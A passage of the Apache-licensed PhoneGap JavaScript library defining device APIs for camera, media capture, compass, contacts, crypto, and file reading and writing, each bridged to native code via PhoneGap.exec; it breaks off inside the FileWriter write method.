* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("camera")) {
PhoneGap.addResource("camera");
/**
* This class provides access to the device camera.
*
* @constructor
*/
var Camera = function() {
this.successCallback = null;
this.errorCallback = null;
this.options = null;
};
/**
* Format of image that returned from getPicture.
*
* Example: navigator.camera.getPicture(success, fail,
* { quality: 80,
* destinationType: Camera.DestinationType.DATA_URL,
* sourceType: Camera.PictureSourceType.PHOTOLIBRARY})
*/
Camera.DestinationType = {
DATA_URL: 0, // Return base64 encoded string
FILE_URI: 1 // Return file uri (content://media/external/images/media/2 for Android)
};
Camera.prototype.DestinationType = Camera.DestinationType;
/**
* Encoding of image returned from getPicture.
*
* Example: navigator.camera.getPicture(success, fail,
* { quality: 80,
* destinationType: Camera.DestinationType.DATA_URL,
* sourceType: Camera.PictureSourceType.CAMERA,
* encodingType: Camera.EncodingType.PNG})
*/
Camera.EncodingType = {
JPEG: 0, // Return JPEG encoded image
PNG: 1 // Return PNG encoded image
};
Camera.prototype.EncodingType = Camera.EncodingType;
/**
* Type of pictures to select from. Only applicable when
* PictureSourceType is PHOTOLIBRARY or SAVEDPHOTOALBUM
*
* Example: navigator.camera.getPicture(success, fail,
* { quality: 80,
* destinationType: Camera.DestinationType.DATA_URL,
* sourceType: Camera.PictureSourceType.PHOTOLIBRARY,
* mediaType: Camera.MediaType.PICTURE})
*/
Camera.MediaType = {
PICTURE: 0, // allow selection of still pictures only. DEFAULT. Will return format specified via DestinationType
VIDEO: 1, // allow selection of video only, ONLY RETURNS URL
ALLMEDIA : 2 // allow selection from all media types
};
Camera.prototype.MediaType = Camera.MediaType;
/**
* Source to getPicture from.
*
* Example: navigator.camera.getPicture(success, fail,
* { quality: 80,
* destinationType: Camera.DestinationType.DATA_URL,
* sourceType: Camera.PictureSourceType.PHOTOLIBRARY})
*/
Camera.PictureSourceType = {
PHOTOLIBRARY : 0, // Choose image from picture library (same as SAVEDPHOTOALBUM for Android)
CAMERA : 1, // Take picture from camera
SAVEDPHOTOALBUM : 2 // Choose image from picture library (same as PHOTOLIBRARY for Android)
};
Camera.prototype.PictureSourceType = Camera.PictureSourceType;
/**
* Gets a picture from source defined by "options.sourceType", and returns the
* image as defined by the "options.destinationType" option.
* The defaults are sourceType=CAMERA and destinationType=DATA_URL.
*
* @param {Function} successCallback
* @param {Function} errorCallback
* @param {Object} options
*/
Camera.prototype.getPicture = function(successCallback, errorCallback, options) {
// successCallback required
if (typeof successCallback !== "function") {
console.log("Camera Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Camera Error: errorCallback is not a function");
return;
}
if (options === null || typeof options === "undefined") {
options = {};
}
if (options.quality === null || typeof options.quality === "undefined") {
options.quality = 80;
}
if (options.maxResolution === null || typeof options.maxResolution === "undefined") {
options.maxResolution = 0;
}
if (options.destinationType === null || typeof options.destinationType === "undefined") {
options.destinationType = Camera.DestinationType.FILE_URI;
}
if (options.sourceType === null || typeof options.sourceType === "undefined") {
options.sourceType = Camera.PictureSourceType.CAMERA;
}
if (options.encodingType === null || typeof options.encodingType === "undefined") {
options.encodingType = Camera.EncodingType.JPEG;
}
if (options.mediaType === null || typeof options.mediaType === "undefined") {
options.mediaType = Camera.MediaType.PICTURE;
}
if (options.targetWidth === null || typeof options.targetWidth === "undefined") {
options.targetWidth = -1;
}
else if (typeof options.targetWidth === "string") {
var width = new Number(options.targetWidth);
if (isNaN(width) === false) {
options.targetWidth = width.valueOf();
}
}
if (options.targetHeight === null || typeof options.targetHeight === "undefined") {
options.targetHeight = -1;
}
else if (typeof options.targetHeight === "string") {
var height = new Number(options.targetHeight);
if (isNaN(height) === false) {
options.targetHeight = height.valueOf();
}
}
PhoneGap.exec(successCallback, errorCallback, "Camera", "takePicture", [options]);
};
PhoneGap.addConstructor(function() {
if (typeof navigator.camera === "undefined") {
navigator.camera = new Camera();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("capture")) {
PhoneGap.addResource("capture");
/**
* Represents a single file.
*
* name {DOMString} name of the file, without path information
* fullPath {DOMString} the full path of the file, including the name
* type {DOMString} mime type
* lastModifiedDate {Date} last modified date
* size {Number} size of the file in bytes
*/
var MediaFile = function(name, fullPath, type, lastModifiedDate, size){
this.name = name || null;
this.fullPath = fullPath || null;
this.type = type || null;
this.lastModifiedDate = lastModifiedDate || null;
this.size = size || 0;
};
/**
* Launch device camera application for recording video(s).
*
* @param {Function} successCB
* @param {Function} errorCB
*/
MediaFile.prototype.getFormatData = function(successCallback, errorCallback){
PhoneGap.exec(successCallback, errorCallback, "Capture", "getFormatData", [this.fullPath, this.type]);
};
/**
* MediaFileData encapsulates format information of a media file.
*
* @param {DOMString} codecs
* @param {long} bitrate
* @param {long} height
* @param {long} width
* @param {float} duration
*/
var MediaFileData = function(codecs, bitrate, height, width, duration){
this.codecs = codecs || null;
this.bitrate = bitrate || 0;
this.height = height || 0;
this.width = width || 0;
this.duration = duration || 0;
};
/**
* The CaptureError interface encapsulates all errors in the Capture API.
*/
var CaptureError = function(){
this.code = null;
};
// Capture error codes
CaptureError.CAPTURE_INTERNAL_ERR = 0;
CaptureError.CAPTURE_APPLICATION_BUSY = 1;
CaptureError.CAPTURE_INVALID_ARGUMENT = 2;
CaptureError.CAPTURE_NO_MEDIA_FILES = 3;
CaptureError.CAPTURE_NOT_SUPPORTED = 20;
/**
* The Capture interface exposes an interface to the camera and microphone of the hosting device.
*/
var Capture = function(){
this.supportedAudioModes = [];
this.supportedImageModes = [];
this.supportedVideoModes = [];
};
/**
* Launch audio recorder application for recording audio clip(s).
*
* @param {Function} successCB
* @param {Function} errorCB
* @param {CaptureAudioOptions} options
*/
Capture.prototype.captureAudio = function(successCallback, errorCallback, options){
PhoneGap.exec(successCallback, errorCallback, "Capture", "captureAudio", [options]);
};
/**
* Launch camera application for taking image(s).
*
* @param {Function} successCB
* @param {Function} errorCB
* @param {CaptureImageOptions} options
*/
Capture.prototype.captureImage = function(successCallback, errorCallback, options){
PhoneGap.exec(successCallback, errorCallback, "Capture", "captureImage", [options]);
};
/**
* Launch camera application for taking image(s).
*
* @param {Function} successCB
* @param {Function} errorCB
* @param {CaptureImageOptions} options
*/
Capture.prototype._castMediaFile = function(pluginResult){
var mediaFiles = [];
var i;
for (i = 0; i < pluginResult.message.length; i++) {
var mediaFile = new MediaFile();
mediaFile.name = pluginResult.message[i].name;
mediaFile.fullPath = pluginResult.message[i].fullPath;
mediaFile.type = pluginResult.message[i].type;
mediaFile.lastModifiedDate = pluginResult.message[i].lastModifiedDate;
mediaFile.size = pluginResult.message[i].size;
mediaFiles.push(mediaFile);
}
pluginResult.message = mediaFiles;
return pluginResult;
};
/**
* Launch device camera application for recording video(s).
*
* @param {Function} successCB
* @param {Function} errorCB
* @param {CaptureVideoOptions} options
*/
Capture.prototype.captureVideo = function(successCallback, errorCallback, options){
PhoneGap.exec(successCallback, errorCallback, "Capture", "captureVideo", [options]);
};
/**
* Encapsulates a set of parameters that the capture device supports.
*/
var ConfigurationData = function(){
// The ASCII-encoded string in lower case representing the media type.
this.type = null;
// The height attribute represents height of the image or video in pixels.
// In the case of a sound clip this attribute has value 0.
this.height = 0;
// The width attribute represents width of the image or video in pixels.
// In the case of a sound clip this attribute has value 0
this.width = 0;
};
/**
* Encapsulates all image capture operation configuration options.
*/
var CaptureImageOptions = function(){
// Upper limit of images user can take. Value must be equal or greater than 1.
this.limit = 1;
// The selected image mode. Must match with one of the elements in supportedImageModes array.
this.mode = null;
};
/**
* Encapsulates all video capture operation configuration options.
*/
var CaptureVideoOptions = function(){
// Upper limit of videos user can record. Value must be equal or greater than 1.
this.limit = 1;
// Maximum duration of a single video clip in seconds.
this.duration = 0;
// The selected video mode. Must match with one of the elements in supportedVideoModes array.
this.mode = null;
};
/**
* Encapsulates all audio capture operation configuration options.
*/
var CaptureAudioOptions = function(){
// Upper limit of sound clips user can record. Value must be equal or greater than 1.
this.limit = 1;
// Maximum duration of a single sound clip in seconds.
this.duration = 0;
// The selected audio mode. Must match with one of the elements in supportedAudioModes array.
this.mode = null;
};
PhoneGap.addConstructor(function(){
if (typeof navigator.device.capture === "undefined") {
navigator.device.capture = window.device.capture = new Capture();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("compass")) {
PhoneGap.addResource("compass");
var CompassError = function(){
this.code = null;
};
// Capture error codes
CompassError.COMPASS_INTERNAL_ERR = 0;
CompassError.COMPASS_NOT_SUPPORTED = 20;
var CompassHeading = function() {
this.magneticHeading = null;
this.trueHeading = null;
this.headingAccuracy = null;
this.timestamp = null;
};
/**
* This class provides access to device Compass data.
* @constructor
*/
var Compass = function() {
/**
* The last known Compass position.
*/
this.lastHeading = null;
/**
* List of compass watch timers
*/
this.timers = {};
};
Compass.ERROR_MSG = ["Not running", "Starting", "", "Failed to start"];
/**
* Asynchronously aquires the current heading.
*
* @param {Function} successCallback The function to call when the heading data is available
* @param {Function} errorCallback The function to call when there is an error getting the heading data. (OPTIONAL)
* @param {PositionOptions} options The options for getting the heading data such as timeout. (OPTIONAL)
*/
Compass.prototype.getCurrentHeading = function(successCallback, errorCallback, options) {
// successCallback required
if (typeof successCallback !== "function") {
console.log("Compass Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Compass Error: errorCallback is not a function");
return;
}
// Get heading
PhoneGap.exec(successCallback, errorCallback, "Compass", "getHeading", []);
};
/**
* Asynchronously aquires the heading repeatedly at a given interval.
*
* @param {Function} successCallback The function to call each time the heading data is available
* @param {Function} errorCallback The function to call when there is an error getting the heading data. (OPTIONAL)
* @param {HeadingOptions} options The options for getting the heading data such as timeout and the frequency of the watch. (OPTIONAL)
* @return String The watch id that must be passed to #clearWatch to stop watching.
*/
Compass.prototype.watchHeading= function(successCallback, errorCallback, options) {
// Default interval (100 msec)
var frequency = (options !== undefined) ? options.frequency : 100;
// successCallback required
if (typeof successCallback !== "function") {
console.log("Compass Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Compass Error: errorCallback is not a function");
return;
}
// Make sure compass timeout > frequency + 10 sec
PhoneGap.exec(
function(timeout) {
if (timeout < (frequency + 10000)) {
PhoneGap.exec(null, null, "Compass", "setTimeout", [frequency + 10000]);
}
},
function(e) { }, "Compass", "getTimeout", []);
// Start watch timer to get headings
var id = PhoneGap.createUUID();
navigator.compass.timers[id] = setInterval(
function() {
PhoneGap.exec(successCallback, errorCallback, "Compass", "getHeading", []);
}, (frequency ? frequency : 1));
return id;
};
/**
* Clears the specified heading watch.
*
* @param {String} id The ID of the watch returned from #watchHeading.
*/
Compass.prototype.clearWatch = function(id) {
// Stop javascript timer & remove from timer list
if (id && navigator.compass.timers[id]) {
clearInterval(navigator.compass.timers[id]);
delete navigator.compass.timers[id];
}
};
Compass.prototype._castDate = function(pluginResult) {
if (pluginResult.message.timestamp) {
var timestamp = new Date(pluginResult.message.timestamp);
pluginResult.message.timestamp = timestamp;
}
return pluginResult;
};
PhoneGap.addConstructor(function() {
if (typeof navigator.compass === "undefined") {
navigator.compass = new Compass();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("contact")) {
PhoneGap.addResource("contact");
/**
* Contains information about a single contact.
* @constructor
* @param {DOMString} id unique identifier
* @param {DOMString} displayName
* @param {ContactName} name
* @param {DOMString} nickname
* @param {Array.<ContactField>} phoneNumbers array of phone numbers
* @param {Array.<ContactField>} emails array of email addresses
* @param {Array.<ContactAddress>} addresses array of addresses
* @param {Array.<ContactField>} ims instant messaging user ids
* @param {Array.<ContactOrganization>} organizations
* @param {DOMString} birthday contact's birthday
* @param {DOMString} note user notes about contact
* @param {Array.<ContactField>} photos
* @param {Array.<ContactField>} categories
* @param {Array.<ContactField>} urls contact's web sites
*/
var Contact = function (id, displayName, name, nickname, phoneNumbers, emails, addresses,
ims, organizations, birthday, note, photos, categories, urls) {
this.id = id || null;
this.rawId = null;
this.displayName = displayName || null;
this.name = name || null; // ContactName
this.nickname = nickname || null;
this.phoneNumbers = phoneNumbers || null; // ContactField[]
this.emails = emails || null; // ContactField[]
this.addresses = addresses || null; // ContactAddress[]
this.ims = ims || null; // ContactField[]
this.organizations = organizations || null; // ContactOrganization[]
this.birthday = birthday || null;
this.note = note || null;
this.photos = photos || null; // ContactField[]
this.categories = categories || null; // ContactField[]
this.urls = urls || null; // ContactField[]
};
/**
* ContactError.
* An error code assigned by an implementation when an error has occurreds
* @constructor
*/
var ContactError = function() {
this.code=null;
};
/**
* Error codes
*/
ContactError.UNKNOWN_ERROR = 0;
ContactError.INVALID_ARGUMENT_ERROR = 1;
ContactError.TIMEOUT_ERROR = 2;
ContactError.PENDING_OPERATION_ERROR = 3;
ContactError.IO_ERROR = 4;
ContactError.NOT_SUPPORTED_ERROR = 5;
ContactError.PERMISSION_DENIED_ERROR = 20;
/**
* Removes contact from device storage.
* @param successCB success callback
* @param errorCB error callback
*/
Contact.prototype.remove = function(successCB, errorCB) {
if (this.id === null) {
var errorObj = new ContactError();
errorObj.code = ContactError.UNKNOWN_ERROR;
errorCB(errorObj);
}
else {
PhoneGap.exec(successCB, errorCB, "Contacts", "remove", [this.id]);
}
};
/**
* Creates a deep copy of this Contact.
* With the contact ID set to null.
* @return copy of this Contact
*/
Contact.prototype.clone = function() {
var clonedContact = PhoneGap.clone(this);
var i;
clonedContact.id = null;
clonedContact.rawId = null;
// Loop through and clear out any id's in phones, emails, etc.
if (clonedContact.phoneNumbers) {
for (i = 0; i < clonedContact.phoneNumbers.length; i++) {
clonedContact.phoneNumbers[i].id = null;
}
}
if (clonedContact.emails) {
for (i = 0; i < clonedContact.emails.length; i++) {
clonedContact.emails[i].id = null;
}
}
if (clonedContact.addresses) {
for (i = 0; i < clonedContact.addresses.length; i++) {
clonedContact.addresses[i].id = null;
}
}
if (clonedContact.ims) {
for (i = 0; i < clonedContact.ims.length; i++) {
clonedContact.ims[i].id = null;
}
}
if (clonedContact.organizations) {
for (i = 0; i < clonedContact.organizations.length; i++) {
clonedContact.organizations[i].id = null;
}
}
if (clonedContact.tags) {
for (i = 0; i < clonedContact.tags.length; i++) {
clonedContact.tags[i].id = null;
}
}
if (clonedContact.photos) {
for (i = 0; i < clonedContact.photos.length; i++) {
clonedContact.photos[i].id = null;
}
}
if (clonedContact.urls) {
for (i = 0; i < clonedContact.urls.length; i++) {
clonedContact.urls[i].id = null;
}
}
return clonedContact;
};
/**
* Persists contact to device storage.
* @param successCB success callback
* @param errorCB error callback
*/
Contact.prototype.save = function(successCB, errorCB) {
PhoneGap.exec(successCB, errorCB, "Contacts", "save", [this]);
};
/**
* Contact name.
* @constructor
* @param formatted
* @param familyName
* @param givenName
* @param middle
* @param prefix
* @param suffix
*/
var ContactName = function(formatted, familyName, givenName, middle, prefix, suffix) {
this.formatted = formatted || null;
this.familyName = familyName || null;
this.givenName = givenName || null;
this.middleName = middle || null;
this.honorificPrefix = prefix || null;
this.honorificSuffix = suffix || null;
};
/**
* Generic contact field.
* @constructor
* @param {DOMString} id unique identifier, should only be set by native code
* @param type
* @param value
* @param pref
*/
var ContactField = function(type, value, pref) {
this.id = null;
this.type = type || null;
this.value = value || null;
this.pref = pref || null;
};
/**
* Contact address.
* @constructor
* @param {DOMString} id unique identifier, should only be set by native code
* @param formatted
* @param streetAddress
* @param locality
* @param region
* @param postalCode
* @param country
*/
var ContactAddress = function(pref, type, formatted, streetAddress, locality, region, postalCode, country) {
this.id = null;
this.pref = pref || null;
this.type = type || null;
this.formatted = formatted || null;
this.streetAddress = streetAddress || null;
this.locality = locality || null;
this.region = region || null;
this.postalCode = postalCode || null;
this.country = country || null;
};
/**
* Contact organization.
* @constructor
* @param {DOMString} id unique identifier, should only be set by native code
* @param name
* @param dept
* @param title
* @param startDate
* @param endDate
* @param location
* @param desc
*/
var ContactOrganization = function(pref, type, name, dept, title) {
this.id = null;
this.pref = pref || null;
this.type = type || null;
this.name = name || null;
this.department = dept || null;
this.title = title || null;
};
/**
* Represents a group of Contacts.
* @constructor
*/
var Contacts = function() {
this.inProgress = false;
this.records = [];
};
/**
* Returns an array of Contacts matching the search criteria.
* @param fields that should be searched
* @param successCB success callback
* @param errorCB error callback
* @param {ContactFindOptions} options that can be applied to contact searching
* @return array of Contacts matching search criteria
*/
Contacts.prototype.find = function(fields, successCB, errorCB, options) {
if (successCB === null) {
throw new TypeError("You must specify a success callback for the find command.");
}
if (fields === null || fields === "undefined" || fields.length === "undefined" || fields.length <= 0) {
if (typeof errorCB === "function") {
errorCB({"code": ContactError.INVALID_ARGUMENT_ERROR});
}
} else {
PhoneGap.exec(successCB, errorCB, "Contacts", "search", [fields, options]);
}
};
/**
* This function creates a new contact, but it does not persist the contact
* to device storage. To persist the contact to device storage, invoke
* contact.save().
* @param properties an object who's properties will be examined to create a new Contact
* @returns new Contact object
*/
Contacts.prototype.create = function(properties) {
var i;
var contact = new Contact();
for (i in properties) {
if (contact[i] !== 'undefined') {
contact[i] = properties[i];
}
}
return contact;
};
/**
* This function returns and array of contacts. It is required as we need to convert raw
* JSON objects into concrete Contact objects. Currently this method is called after
* navigator.contacts.find but before the find methods success call back.
*
* @param jsonArray an array of JSON Objects that need to be converted to Contact objects.
* @returns an array of Contact objects
*/
Contacts.prototype.cast = function(pluginResult) {
var contacts = [];
var i;
for (i=0; i<pluginResult.message.length; i++) {
contacts.push(navigator.contacts.create(pluginResult.message[i]));
}
pluginResult.message = contacts;
return pluginResult;
};
/**
* ContactFindOptions.
* @constructor
* @param filter used to match contacts against
* @param multiple boolean used to determine if more than one contact should be returned
*/
var ContactFindOptions = function(filter, multiple) {
this.filter = filter || '';
this.multiple = multiple || false;
};
/**
* Add the contact interface into the browser.
*/
PhoneGap.addConstructor(function() {
if(typeof navigator.contacts === "undefined") {
navigator.contacts = new Contacts();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
// TODO: Needs to be commented
if (!PhoneGap.hasResource("crypto")) {
PhoneGap.addResource("crypto");
/**
* @constructor
*/
var Crypto = function() {
};
Crypto.prototype.encrypt = function(seed, string, callback) {
this.encryptWin = callback;
PhoneGap.exec(null, null, "Crypto", "encrypt", [seed, string]);
};
Crypto.prototype.decrypt = function(seed, string, callback) {
this.decryptWin = callback;
PhoneGap.exec(null, null, "Crypto", "decrypt", [seed, string]);
};
Crypto.prototype.gotCryptedString = function(string) {
this.encryptWin(string);
};
Crypto.prototype.getPlainString = function(string) {
this.decryptWin(string);
};
PhoneGap.addConstructor(function() {
if (typeof navigator.Crypto === "undefined") {
navigator.Crypto = new Crypto();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("file")) {
PhoneGap.addResource("file");
/**
* This class provides some useful information about a file.
* @constructor
*/
var FileProperties = function(filePath) {
this.filePath = filePath;
this.size = 0;
this.lastModifiedDate = null;
};
/**
* Represents a single file.
*
* @constructor
* @param name {DOMString} name of the file, without path information
* @param fullPath {DOMString} the full path of the file, including the name
* @param type {DOMString} mime type
* @param lastModifiedDate {Date} last modified date
* @param size {Number} size of the file in bytes
*/
var File = function(name, fullPath, type, lastModifiedDate, size) {
this.name = name || null;
this.fullPath = fullPath || null;
this.type = type || null;
this.lastModifiedDate = lastModifiedDate || null;
this.size = size || 0;
};
/** @constructor */
var FileError = function() {
this.code = null;
};
// File error codes
// Found in DOMException
FileError.NOT_FOUND_ERR = 1;
FileError.SECURITY_ERR = 2;
FileError.ABORT_ERR = 3;
// Added by this specification
FileError.NOT_READABLE_ERR = 4;
FileError.ENCODING_ERR = 5;
FileError.NO_MODIFICATION_ALLOWED_ERR = 6;
FileError.INVALID_STATE_ERR = 7;
FileError.SYNTAX_ERR = 8;
FileError.INVALID_MODIFICATION_ERR = 9;
FileError.QUOTA_EXCEEDED_ERR = 10;
FileError.TYPE_MISMATCH_ERR = 11;
FileError.PATH_EXISTS_ERR = 12;
//-----------------------------------------------------------------------------
// File Reader
//-----------------------------------------------------------------------------
/**
* This class reads the mobile device file system.
*
* For Android:
* The root directory is the root of the file system.
* To read from the SD card, the file name is "sdcard/my_file.txt"
* @constructor
*/
var FileReader = function() {
this.fileName = "";
this.readyState = 0;
// File data
this.result = null;
// Error
this.error = null;
// Event handlers
this.onloadstart = null; // When the read starts.
this.onprogress = null; // While reading (and decoding) file or fileBlob data, and reporting partial file data (progess.loaded/progress.total)
this.onload = null; // When the read has successfully completed.
this.onerror = null; // When the read has failed (see errors).
this.onloadend = null; // When the request has completed (either in success or failure).
this.onabort = null; // When the read has been aborted. For instance, by invoking the abort() method.
};
// States
FileReader.EMPTY = 0;
FileReader.LOADING = 1;
FileReader.DONE = 2;
/**
* Abort reading file.
*/
FileReader.prototype.abort = function() {
var evt;
this.readyState = FileReader.DONE;
this.result = null;
// set error
var error = new FileError();
error.code = error.ABORT_ERR;
this.error = error;
// If error callback
if (typeof this.onerror === "function") {
this.onerror({"type":"error", "target":this});
}
// If abort callback
if (typeof this.onabort === "function") {
this.onabort({"type":"abort", "target":this});
}
// If load end callback
if (typeof this.onloadend === "function") {
this.onloadend({"type":"loadend", "target":this});
}
};
/**
* Read text file.
*
* @param file {File} File object containing file properties
* @param encoding [Optional] (see http://www.iana.org/assignments/character-sets)
*/
FileReader.prototype.readAsText = function(file, encoding) {
this.fileName = "";
if (typeof file.fullPath === "undefined") {
this.fileName = file;
} else {
this.fileName = file.fullPath;
}
// LOADING state
this.readyState = FileReader.LOADING;
// If loadstart callback
if (typeof this.onloadstart === "function") {
this.onloadstart({"type":"loadstart", "target":this});
}
// Default encoding is UTF-8
var enc = encoding ? encoding : "UTF-8";
var me = this;
// Read file
PhoneGap.exec(
// Success callback
function(r) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileReader.DONE) {
return;
}
// Save result
me.result = r;
// If onload callback
if (typeof me.onload === "function") {
me.onload({"type":"load", "target":me});
}
// DONE state
me.readyState = FileReader.DONE;
// If onloadend callback
if (typeof me.onloadend === "function") {
me.onloadend({"type":"loadend", "target":me});
}
},
// Error callback
function(e) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileReader.DONE) {
return;
}
// Save error
me.error = e;
// If onerror callback
if (typeof me.onerror === "function") {
me.onerror({"type":"error", "target":me});
}
// DONE state
me.readyState = FileReader.DONE;
// If onloadend callback
if (typeof me.onloadend === "function") {
me.onloadend({"type":"loadend", "target":me});
}
}, "File", "readAsText", [this.fileName, enc]);
};
/**
* Read file and return data as a base64 encoded data url.
* A data url is of the form:
* data:[<mediatype>][;base64],<data>
*
* @param file {File} File object containing file properties
*/
FileReader.prototype.readAsDataURL = function(file) {
this.fileName = "";
if (typeof file.fullPath === "undefined") {
this.fileName = file;
} else {
this.fileName = file.fullPath;
}
// LOADING state
this.readyState = FileReader.LOADING;
// If loadstart callback
if (typeof this.onloadstart === "function") {
this.onloadstart({"type":"loadstart", "target":this});
}
var me = this;
// Read file
PhoneGap.exec(
// Success callback
function(r) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileReader.DONE) {
return;
}
// Save result
me.result = r;
// If onload callback
if (typeof me.onload === "function") {
me.onload({"type":"load", "target":me});
}
// DONE state
me.readyState = FileReader.DONE;
// If onloadend callback
if (typeof me.onloadend === "function") {
me.onloadend({"type":"loadend", "target":me});
}
},
// Error callback
function(e) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileReader.DONE) {
return;
}
// Save error
me.error = e;
// If onerror callback
if (typeof me.onerror === "function") {
me.onerror({"type":"error", "target":me});
}
// DONE state
me.readyState = FileReader.DONE;
// If onloadend callback
if (typeof me.onloadend === "function") {
me.onloadend({"type":"loadend", "target":me});
}
}, "File", "readAsDataURL", [this.fileName]);
};
/**
* Read file and return data as a binary data.
*
* @param file {File} File object containing file properties
*/
FileReader.prototype.readAsBinaryString = function(file) {
// TODO - Can't return binary data to browser.
this.fileName = file;
};
/**
* Read file and return data as a binary data.
*
* @param file {File} File object containing file properties
*/
FileReader.prototype.readAsArrayBuffer = function(file) {
// TODO - Can't return binary data to browser.
this.fileName = file;
};
//-----------------------------------------------------------------------------
// File Writer
//-----------------------------------------------------------------------------
/**
* This class writes to the mobile device file system.
*
* For Android:
* The root directory is the root of the file system.
* To write to the SD card, the file name is "sdcard/my_file.txt"
*
* @constructor
* @param file {File} File object containing file properties
* @param append if true write to the end of the file, otherwise overwrite the file
*/
var FileWriter = function(file) {
this.fileName = "";
this.length = 0;
if (file) {
this.fileName = file.fullPath || file;
this.length = file.size || 0;
}
// default is to write at the beginning of the file
this.position = 0;
this.readyState = 0; // EMPTY
this.result = null;
// Error
this.error = null;
// Event handlers
this.onwritestart = null; // When writing starts
this.onprogress = null; // While writing the file, and reporting partial file data
this.onwrite = null; // When the write has successfully completed.
this.onwriteend = null; // When the request has completed (either in success or failure).
this.onabort = null; // When the write has been aborted. For instance, by invoking the abort() method.
this.onerror = null; // When the write has failed (see errors).
};
// States
FileWriter.INIT = 0;
FileWriter.WRITING = 1;
FileWriter.DONE = 2;
/**
* Abort writing file.
*/
FileWriter.prototype.abort = function() {
// check for invalid state
if (this.readyState === FileWriter.DONE || this.readyState === FileWriter.INIT) {
throw FileError.INVALID_STATE_ERR;
}
// set error
var error = new FileError(), evt;
error.code = error.ABORT_ERR;
this.error = error;
// If error callback
if (typeof this.onerror === "function") {
this.onerror({"type":"error", "target":this});
}
// If abort callback
if (typeof this.onabort === "function") {
this.onabort({"type":"abort", "target":this});
}
this.readyState = FileWriter.DONE;
// If write end callback
if (typeof this.onwriteend === "function") {
this.onwriteend({"type":"writeend", "target":this});
}
};
/**
* Writes data to the file
*
* @param text to be written
*/
FileWriter.prototype.write = function(text) {
// Throw an exception if we are already writing a file
if (this.readyState === FileWriter.WRITING) {
throw FileError.INVALID_STATE_ERR;
}
// WRITING state
this.readyState = FileWriter.WRITING;
var me = this;
// If onwritestart callback
if (typeof me.onwritestart === "function") {
me.onwritestart({"type":"writestart", "target":me});
}
// Write file
PhoneGap.exec(
// Success callback
function(r) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileWriter.DONE) {
return;
}
// position always increases by bytes written because file would be extended
me.position += r;
// The length of the file is now where we are done writing.
me.length = me.position;
// If onwrite callback
if (typeof me.onwrite === "function") {
me.onwrite({"type":"write", "target":me});
}
// DONE state
me.readyState = FileWriter.DONE;
// If onwriteend callback
if (typeof me.onwriteend === "function") {
me.onwriteend({"type":"writeend", "target":me});
}
},
// Error callback
function(e) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileWriter.DONE) {
return;
}
// Save error
me.error = e;
// If onerror callback
if (typeof me.onerror === "function") {
me.onerror({"type":"error", "target":me});
}
// DONE state
me.readyState = FileWriter.DONE;
// If onwriteend callback
